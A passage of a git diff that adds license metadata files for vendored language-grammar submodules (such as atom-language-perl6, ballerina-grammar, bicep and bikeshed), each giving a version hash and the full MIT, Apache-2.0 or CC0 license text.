+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/atom-language-p4.dep.yml b/vendor/licenses/git_submodule/atom-language-p4.dep.yml
new file mode 100644
index 0000000000..97534f227a
--- /dev/null
+++ b/vendor/licenses/git_submodule/atom-language-p4.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: atom-language-p4
+version: a349af898dbe060fd548040fa352233d865aef8e
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2016 Yi Tseng
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/atom-language-perl6.dep.yml b/vendor/licenses/git_submodule/atom-language-perl6.dep.yml
new file mode 100644
index 0000000000..d8e5757bb0
--- /dev/null
+++ b/vendor/licenses/git_submodule/atom-language-perl6.dep.yml
@@ -0,0 +1,47 @@
+---
+name: atom-language-perl6
+version: bd341e83c14a69b68cb304fb6931abed8473b05a
+type: git_submodule
+homepage: https://github.com/perl6/atom-language-perl6
+license: other
+licenses:
+- sources: LICENSE.md
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2015 Jacob Russo
+
+    Copyright (c) 2016 Samantha McVey <samantham@posteo.net>
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+    --------------------------------------------------------------------
+
+    This package was derived from a TextMate bundle located at
+    https://github.com/textmate/perl.tmbundle and distributed under the following
+    license, located in `README.mdown`:
+
+    Permission to copy, use, modify, sell and distribute this
+    software is granted. This software is provided "as is" without
+    express or implied warranty, and with no claim as to its
+    suitability for any purpose.
+- sources: README.md
+  text: "[MIT][mit] © All [contributors][CREDITS]"
+notices: []
diff --git a/vendor/licenses/git_submodule/atom-language-purescript.dep.yml b/vendor/licenses/git_submodule/atom-language-purescript.dep.yml
new file mode 100644
index 0000000000..cb9d21cb5d
--- /dev/null
+++ b/vendor/licenses/git_submodule/atom-language-purescript.dep.yml
@@ -0,0 +1,56 @@
+---
+name: atom-language-purescript
+version: b5c439559b21af03578d923ed8811cb0609d2210
+type: git_submodule
+homepage: https://github.com/purescript-contrib/atom-language-purescript
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2014 Darin Morrison
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+    ---
+
+    The PureScript language grammar is derived from the Haskell atom language
+    grammar, from https://github.com/atom-haskell/language-haskell. Its LICENSE is
+    reproduced below:
+
+    Copyright (c) 2015 Atom-Haskell
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of
+    this software and associated documentation files (the "Software"), to deal in
+    the Software without restriction, including without limitation the rights to
+    use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+    of the Software, and to permit persons to whom the Software is furnished to do
+    so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/atom-language-stan.dep.yml b/vendor/licenses/git_submodule/atom-language-stan.dep.yml
new file mode 100644
index 0000000000..79db24235e
--- /dev/null
+++ b/vendor/licenses/git_submodule/atom-language-stan.dep.yml
@@ -0,0 +1,30 @@
+---
+name: atom-language-stan
+version: d74b0c8056411cbaedb1910fd59aaf3e8578ad2c
+type: git_submodule
+homepage: https://github.com/stan-dev/atom-language-stan.git
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2015 Jeffrey B. Arnold
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/atom-miniyaml.dep.yml b/vendor/licenses/git_submodule/atom-miniyaml.dep.yml
new file mode 100644
index 0000000000..ca84ad0a7b
--- /dev/null
+++ b/vendor/licenses/git_submodule/atom-miniyaml.dep.yml
@@ -0,0 +1,41 @@
+---
+name: atom-miniyaml
+version: e3c376e315ec2d66412368d86660af83bfa63586
+type: git_submodule
+homepage: https://github.com/OpenRA/atom-miniyaml.git
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2015 GitHub Inc.
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+    --------------------------------------------------------------------
+
+    This package was derived from a TextMate bundle located at
+    https://github.com/textmate/yaml.tmbundle and distributed under the following
+    license, located in `README.mdown`:
+
+    Permission to copy, use, modify, sell and distribute this
+    software is granted. This software is provided "as is" without
+    express or implied warranty, and with no claim as to its
+    suitability for any purpose.
+notices: []
diff --git a/vendor/licenses/git_submodule/atom-salt.dep.yml b/vendor/licenses/git_submodule/atom-salt.dep.yml
new file mode 100644
index 0000000000..5e115ed5a7
--- /dev/null
+++ b/vendor/licenses/git_submodule/atom-salt.dep.yml
@@ -0,0 +1,41 @@
+---
+name: atom-salt
+version: 77257d25b4aa8d99851b987c44bbd0e53f21f69d
+type: git_submodule
+homepage: https://github.com/saltstack/atom-salt
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2014 GitHub Inc.
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+    --------------------------------------------------------------------
+
+    This package was derived from a TextMate bundle located at
+    https://github.com/textmate/yaml.tmbundle and distributed under the following
+    license, located in `README.mdown`:
+
+    Permission to copy, use, modify, sell and distribute this
+    software is granted. This software is provided "as is" without
+    express or implied warranty, and with no claim as to its
+    suitability for any purpose.
+notices: []
diff --git a/vendor/licenses/git_submodule/ats.dep.yml b/vendor/licenses/git_submodule/ats.dep.yml
new file mode 100644
index 0000000000..2a52c32d8c
--- /dev/null
+++ b/vendor/licenses/git_submodule/ats.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: ats
+version: b4f5a7a9ceaf257ada89cb1068fb170db51cd426
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2016 Hanwen (Steinway) Wu
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/avro.tmLanguage.dep.yml b/vendor/licenses/git_submodule/avro.tmLanguage.dep.yml
new file mode 100644
index 0000000000..53090f2977
--- /dev/null
+++ b/vendor/licenses/git_submodule/avro.tmLanguage.dep.yml
@@ -0,0 +1,31 @@
+---
+name: avro.tmLanguage
+version: 480a3c747f589b212ace27c9073337b9cebc9ff3
+type: git_submodule
+homepage: https://github.com/Jason3S/avro.tmLanguage
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2017 Jason Dent
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/awk-sublime.dep.yml b/vendor/licenses/git_submodule/awk-sublime.dep.yml
new file mode 100644
index 0000000000..de4d09b6e9
--- /dev/null
+++ b/vendor/licenses/git_submodule/awk-sublime.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: awk-sublime
+version: 72b487a1046d86b8a195b38fa18802d2abe30370
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2012-2014 John Nilsson
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/ballerina-grammar.dep.yml b/vendor/licenses/git_submodule/ballerina-grammar.dep.yml
new file mode 100644
index 0000000000..7eb06b3843
--- /dev/null
+++ b/vendor/licenses/git_submodule/ballerina-grammar.dep.yml
@@ -0,0 +1,211 @@
+---
+name: ballerina-grammar
+version: 42ddcc1c63c86bdd6ba712e86bf965f5063831d3
+type: git_submodule
+homepage: https://github.com/ballerina-platform/ballerina-grammar
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright [yyyy] [name of copyright owner]
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/berry-grammar.dep.yml b/vendor/licenses/git_submodule/berry-grammar.dep.yml
new file mode 100644
index 0000000000..476f95b9d3
--- /dev/null
+++ b/vendor/licenses/git_submodule/berry-grammar.dep.yml
@@ -0,0 +1,36 @@
+---
+name: berry-grammar
+version: 0045b13ae76c4a9adbc5ea77c45a526b895e1861
+type: git_submodule
+homepage: https://github.com/berry-lang/berry-grammar.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2018-2020 Guan Wenliang
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+- sources: README.md
+  text: |-
+    Berry is free software distributed under the [MIT license](./LICENSE).
+
+    The Berry interpreter partly refers to [Lua](http://www.lua.org/)'s design. View Lua's license here: http://www.lua.org/license.html.
+notices: []
diff --git a/vendor/licenses/git_submodule/bicep.dep.yml b/vendor/licenses/git_submodule/bicep.dep.yml
new file mode 100644
index 0000000000..3475bd8309
--- /dev/null
+++ b/vendor/licenses/git_submodule/bicep.dep.yml
@@ -0,0 +1,36 @@
+---
+name: bicep
+version: ebc7dce749826cbd60d5863a115bd0ea8a0c31d4
+type: git_submodule
+homepage: https://github.com/azure/bicep
+license: mit
+licenses:
+- sources: LICENSE
+  text: |2
+        MIT License
+
+        Copyright (c) Microsoft Corporation.
+
+        Permission is hereby granted, free of charge, to any person obtaining a copy
+        of this software and associated documentation files (the "Software"), to deal
+        in the Software without restriction, including without limitation the rights
+        to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+        copies of the Software, and to permit persons to whom the Software is
+        furnished to do so, subject to the following conditions:
+
+        The above copyright notice and this permission notice shall be included in all
+        copies or substantial portions of the Software.
+
+        THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+        IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+        FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+        AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+        LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+        OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+        SOFTWARE
+- sources: README.md
+  text: |-
+    All files except for the [Azure Architecture SVG Icons](./src/vscode-bicep/src/visualizer/app/assets/icons/azure) in the repository are subject to the [MIT license](./LICENSE).
+
+    The [Azure Architecture SVG Icons](./src/vscode-bicep/src/visualizer/app/assets/icons/azure) used in the Bicep VS Code extension are subject to the [Terms of Use](https://docs.microsoft.com/azure/architecture/icons/#terms).
+notices: []
diff --git a/vendor/licenses/git_submodule/bikeshed.dep.yml b/vendor/licenses/git_submodule/bikeshed.dep.yml
new file mode 100644
index 0000000000..a079a6563a
--- /dev/null
+++ b/vendor/licenses/git_submodule/bikeshed.dep.yml
@@ -0,0 +1,138 @@
+---
+name: bikeshed
+version: 880b32e72e8701c8da914a60ea5b3e0f5546780f
+type: git_submodule
+homepage: https://github.com/tabatkins/bikeshed.git
+license: cc0-1.0
+licenses:
+- sources: LICENSE
+  text: |
+    Creative Commons Legal Code
+
+    CC0 1.0 Universal
+
+        CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE
+        LEGAL SERVICES. DISTRIBUTION OF THIS DOCUMENT DOES NOT CREATE AN
+        ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS
+        INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES
